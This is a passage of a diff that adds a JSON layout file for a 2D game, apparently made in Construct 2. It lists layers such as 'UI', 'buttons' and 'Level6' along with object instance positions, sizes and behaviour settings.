+ [
+ 0,
+ "pega",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1677.650756835938,
+ 283.1871337890625,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 1232,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5571.33544921875,
+ 947.7676391601562,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 5530,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 885250086472249,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 161530402199762,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 1694,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 1695,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 1696,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 1697,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402,
+ 25,
+ 0,
+ 118,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5254237055778503,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 436,
+ 1139,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401,
+ 63,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 1362,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 388,
+ 0,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 1363,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 27,
+ 23,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 1366,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 119,
+ 26,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 1367,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 75,
+ 26,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 1368,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 870,
+ -98,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 1456,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ 401,
+ 442,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 1460,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 406.1738891601563,
+ 247.7965240478516,
+ 0,
+ 848,
+ 563,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 1693,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 125035143606118,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 639525027802762,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level6",
+ 5200,
+ 1500,
+ false,
+ "Gameplay1",
+ 597310495474485,
+ [
+ [
+ "fondo",
+ 0,
+ 604204614921566,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -109,
+ -198,
+ 0,
+ 10112,
+ 1814,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 1350,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 914974939679964,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -24,
+ -187,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 1352,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 1501,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 5222,
+ 732,
+ 0,
+ 40,
+ 1510,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 1502,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -21,
+ 620,
+ 0,
+ 40,
+ 1248,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 1503,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 542313092106496,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 296,
+ 104,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 1504,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 168363701700276,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -240,
+ 2808,
+ 0,
+ 10152,
+ 594,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 307,
+ 1505,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 181916749695824,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -292,
+ 2597,
+ 0,
+ 10152,
+ 320,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 308,
+ 1506,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 1309,
+ 742,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1507,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 503,
+ 715,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1508,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2844,
+ 479,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1509,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4033,
+ 637,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1510,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5022,
+ 787,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1511,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 896,
+ 784,
+ 0,
+ 44.38152313232422,
+ 21.39823532104492,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 498,
+ 1682,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1105.4951171875,
+ 686.8434448242188,
+ 0,
+ 37,
+ 159,
+ 0,
+ 0,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ 0,
+ 0,
+ []
+ ],
+ 493,
+ 1683,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1103,
+ 579,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2204,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1104,
+ 501,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2205,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1104,
+ 422,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2206,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1105,
+ 344,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2207,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1106,
+ 265,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2208,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1107,
+ 186,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2209,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1107,
+ 107,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2210,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1108,
+ 29,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2211,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1109,
+ -50,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2212,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 246,
+ 621,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1519,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1246,
+ 807,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1520,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2485,
+ 610,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1521,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 943,
+ 980,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1522,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1683,
+ 991,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1523,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1891,
+ 914,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1530,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2214,
+ 999,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1531,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2650,
+ 925,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1532,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2499,
+ 1043,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1533,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2959,
+ 980,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1535,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3507,
+ 832,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1536,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4603,
+ 892,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 1537,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3497,
+ 1293,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1548,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 653,
+ 1234,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1518,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4621,
+ 1292,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1517,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1341,
+ 770,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1516,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 364,
+ 1014,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1515,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5043,
+ 1087,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1512,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3917,
+ 968,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1524,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4284,
+ 972,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1525,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3164,
+ 346,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1526,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2701,
+ 330,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1527,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1385,
+ 1110,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1534,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -14,
+ 844,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1538,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1867,
+ 1288,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1539,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2486,
+ 1244,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1540,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 704607113021939,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 5031,
+ 837,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2197,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4787,
+ 834,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2196,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4471,
+ 657,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2194,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4064,
+ 657,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2187,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3739,
+ 659,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2193,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3397.0888671875,
+ 795.865966796875,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2186,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
